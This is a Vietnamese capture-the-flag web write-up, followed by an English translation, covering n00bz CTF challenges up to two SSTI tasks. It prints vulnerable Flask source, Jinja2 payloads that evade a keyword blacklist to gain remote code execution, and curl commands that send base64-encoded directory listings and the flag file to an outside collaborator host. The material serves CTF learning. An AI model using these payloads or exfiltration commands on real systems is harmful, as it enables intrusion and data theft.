Mặc dù đã team đã clear hết mảng, nhưng do mình làm ra muộn nên chỉ đạt top 7 giải này. Sr team rất nhiều…
Giải có 2 bài web cuối SSTI khá là hay nên mình quyết định viết wu để cho nhớ
Category | Challenge Name | Difficulty |
---|---|---|
Web | Club_N00b | Easy |
Web | Robots | Easy |
Web | Secret Group | Easy |
Web | Conditions | Easy |
Web | CaaS | Medium |
Web | CaaS2 | Medium |
Author: @NoobMaster x @0xBlue
Mấy bài đầu mình sẽ up payload và lướt qua nhanh, vì là blackbox
radical
.Ngay tên bài làm mình nghĩ đến ngay file robots.txt
Chỉ cần thay đổi lại đường dẫn là ok
Khi truy cập web thì có nhận được agent không phải là n00bz-4dm1n
Mình nghĩ ngay đến bài này sẽ check HTTP header
Chỉ cần sửa các thành phần trong request gửi lên là có flag
Chúng ta có một chức năng input username vào, và source code của tác giả cung cấp:
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
if len(request.values["username"]) >= 40:
return render_template_string("Username is too long!")
elif len(request.values["username"].upper()) <= 50:
return render_template_string("Username is too short!")
else:
return flag
Sau khi input username:
Wow :v vậy là chúng ta chỉ cần input 49 lần ký tự đặc biệt và 49 * 3 > 50. Ok nice
Mình viết script request lên để lấy flag, vì BurpSuite khá là cùi khi xử lý mấy ký tự unicode
import requests
url = "http://challs.n00bzunit3d.xyz:42552/login"
r = requests.post(url, data = {"username" : 'ffi'*39})
print(r.text)
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
for b in blacklist:
if b in inp:
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
teamname = request.values['team_name']
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=52130)
Sau khi nhìn qua source code, mình khá là bất ngờ vì số lượng filter lớn, thêm nữa là giới hạn số ký tự mình đưa vào.
Khá là ban căng :v Bạn nào chơi CTF mảng web chắc cũng nhìn ra được đây là một bài khai thác SSTI (Lỗi ở hàm render). Để rõ hơn các bạn có thể tìm hiểu ở đây
Nếu bài này chúng ta chỉ copy và đọc payload ở Payloads All The Thing thì khá là stuck.
Mục tiêu của payload là truy cập đến module 'os' để thực hiện các command.
Bởi vì cycler, joiner, lipsum class đều nằm trong blacklist nên ta chỉ có sử dụng được namespace. Nếu sử dụng cách này payload sẽ là như sau:
{{namespace['__ini''t__']['__global''s__']['o''s']['pop''en']('l\s')['rea''d'](+)}}
Khoảng 80 - 90 ký tự để thực hiện.
__init__
bị cấm nên mình dùng ['__ini''t__']
để bypass. Và ()
trở thành (+)
Vậy nên mình chuyển hướng qua sử dụng global variables để tìm gadget vào __globals__
Mình thấy biến global g
là ngắn nhất nên quyết định sử dụng nó để build
Hình dung thì payload mình sẽ như thế này
name={{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}}
Khoảng 83 ký tự, và giờ mình sẽ bắt đầu giảm số lượng xuống và để tránh blacklist
Ở trong python thì chúng ta có số một số cách để get giá trị input
Mình sẽ dùng nó để đưa vào những chỗ có chuỗi string. Đó là lý do vì sao mình lại sử dụng eval. Bên trong nó là một chuỗi string command nên mình tối ưu được rất nhiều
name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}
Và parameter a chúng ta sẽ thêm vào trong request :
(Ảnh trên là mình test ở local, nới rộng thêm số ký tự input vào để test)
Cuối cùng RCE trên server để lấy flag. Command chúng ta được lấy từ parameter a
nên sử dụng thoải mái, không bị check.
Payload:
name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("cat flag.txt").read()&team_name=cc
Source code bài này nếu các bạn muốn tự build làm lại(Đã chỉnh sửa length input):
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
for b in blacklist:
if b in inp:
return "Blacklisted word!"
if len(inp) <= 1000:
return inp
if len(inp) > 1000:
return "Input too long!"
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'POST':
name = blacklist(request.values['name'])
teamname = request.values['team_name']
return render_template_string(f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>cc</title>
</head>
<body>
<p1> {name} </p1>
</body>
</html>
""",name=name)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=52130)
Đây là bài quyết định top 4 cho team, tuy nhiên lúc đó đã là 12h đêm, não mình lúc đấy hơi … Nên sáng hôm sau mới làm xong mặc dù đêm đó đã gen được payload đúng. So sad… :(
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.']
for b in blacklist:
if b in inp:
print(b)
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=49064)
g
ở payload trước mình vừa sử dụng. Họ đã check ở bài này.POST /generate?a=__globals__&b=__import__("os").system("command inject") HTTP/1.1
name={{session.pop[request.values.a].__builtins__.exec(request.values.b)}}
Ở bài này eval dính blacklist nên mình sử dụng exec. Tuy nhiên cần biết một điều là exec sẽ return None
Nên có 2 hướng để chúng ta làm: Revereshell hoặc Out of band
Mình đã thử nc về máy mình tuy nhiên không thấy phản hồi (Có lẽ cách này tạch).
Vậy thì mình sẽ thử curl xem có ổn không.
Ok vậy là thành công, mình tính thử ngay với wget để đọc file flag cho nhanh, tuy nhiên cách này lại không có phản hồi. Vì file flag không phải tên là flag.txt nữa.
Bây giờ mình cần list ra file để tìm flag, sử dụng thêm base64 để đọc được hết các file khác:
a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`ls | base64 -w0`")
a=__globals__&b=__import__("os").system("curl+http://xkl2yimgp0fy264saz6si2zs7jda1z.oastify.com?cc=`ls|+base64+-w0`")
Cuối cùng chỉ cần cat file flag là xong.
Payload:
a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`cat+s3cur3_fl4g_f1l3_.txt+|+base64+-w0`")
For the first few challs, I will upload the payload and quickly skim through it because it is a blackbox.
radical
is mentioned here.The name of the task immediately makes me think of a file robots.txt
Just change the path and it's okay.
When accessing the website, you receive an agent that is not n00bz-4dm1n, I immediately think chall will check the HTTP header.
Just modify the components in the sent request and you will get the flag.
"We have a feature to input username, and the author's provided us with the source code:
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
if len(request.values["username"]) >= 40:
return render_template_string("Username is too long!")
elif len(request.values["username"].upper()) <= 50:
return render_template_string("Username is too short!")
else:
return flag
After inputting the username:
Wow :v so we just need to input 49 special characters and 49 * 3 > 50.
Ok, nice.
I'll write a script to send the request and get the flag because BurpSuite is not very good at handling Unicode characters
import requests
url = "http://challs.n00bzunit3d.xyz:42552/login"
r = requests.post(url, data = {"username" : 'ffi'*39})
print(r.text)
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
for b in blacklist:
if b in inp:
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
teamname = request.values['team_name']
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=52130)
After looking through the source code, I was quite surprised by the large number of filters and the limit on the number of characters I could input.
It's quite challenging :v If you play web CTFs, you can probably see that this is an SSTI exploit (the vulnerability is in the render function). To learn more, you can check it out here
If we only copy and read the payloads in Payloads All The Things for this task, we will be stuck
The goal of the payload is to access the 'os' module to execute commands.
Because cycler, joiner, and lipsum class are all in the blacklist, we can only use the namespace. If we use this method, the payload will be like this:
{{namespace['__ini''t__']['__global''s__']['o''s']['pop''en']('l\s')['rea''d'](+)}}
Around 80-90 characters to execute.
__init__
banned so I'm using ['__ini''t__']
to bypass. And ()
trở become (+)
So I switched to using global variables To find gadgets in __globals__
I found that the global variable g
is the shortest, so I decided to use it to build.
You imagine that my payload will look like this
name={{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}}
About 83 characters, and now I'll start reducing the number to avoid the blacklist.
In Python, we have several ways to get the input value.
I will use it to insert values into string variables. That's why I used eval. Inside it is a string command, so I can optimize a lot
name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}
And we will add the parameter a
to the request. :
(The image above is my local test, expanding the number of characters input for testing)
Finally, we can RCE on the server to get the flag. We can use commands from the a
parameter without being checked.
Payload:
name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("cat flag.txt").read()&team_name=cc
Here's the source code for this task if you want to rebuild it(I've adjusted the input length):
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
for b in blacklist:
if b in inp:
return "Blacklisted word!"
if len(inp) <= 1000:
return inp
if len(inp) > 1000:
return "Input too long!"
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'POST':
name = blacklist(request.values['name'])
teamname = request.values['team_name']
return render_template_string(f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>cc</title>
</head>
<body>
<p1> {name} </p1>
</body>
</html>
""",name=name)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=52130)
#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import urllib
app = Flask(__name__)
def blacklist(inp):
blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.']
for b in blacklist:
if b in inp:
print(b)
return "Blacklisted word!"
if len(inp) <= 70:
return inp
if len(inp) > 70:
return "Input too long!"
@app.route('/')
def main():
return redirect('/generate')
@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
if request.method == 'GET':
return render_template('generate_certificate.html')
elif request.method == 'POST':
name = blacklist(request.values['name'])
return render_template_string(f'<p>Haha! No certificate for {name}</p>')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=49064)
g
which I used in the previous payload. They checked it in this chall.POST /generate?a=__globals__&b=__import__("os").system("command inject") HTTP/1.1
name={{session.pop[request.values.a].__builtins__.exec(request.values.b)}}
eval
is blacklisted so I will use exec
. However, one thing to keep in mind is that exec will return None
So there are two ways we can do this: Reverse Shell or Out-of-band.
I tried to use netcat
to send it back to my machine, but didn't get a response (maybe this method failed).
So i will try curl
command
Okay, so it was successful. I wanted to try using wget to quickly read the flag file, but this method didn't work. It could be because the flag file is not named flag.txt anymore.
Now I need to list the files to find the flag, and I'll also use base64 to read all the other files:
a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`ls | base64 -w0`")
a=__globals__&b=__import__("os").system("curl+http://xkl2yimgp0fy264saz6si2zs7jda1z.oastify.com?cc=`ls|+base64+-w0`")
Finally, just cat
the flag file and we're done.
Payload:
a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`cat+s3cur3_fl4g_f1l3_.txt+|+base64+-w0`")
Thank you to the author for bringing us such great challenges. We hope that next year will be just as amazing.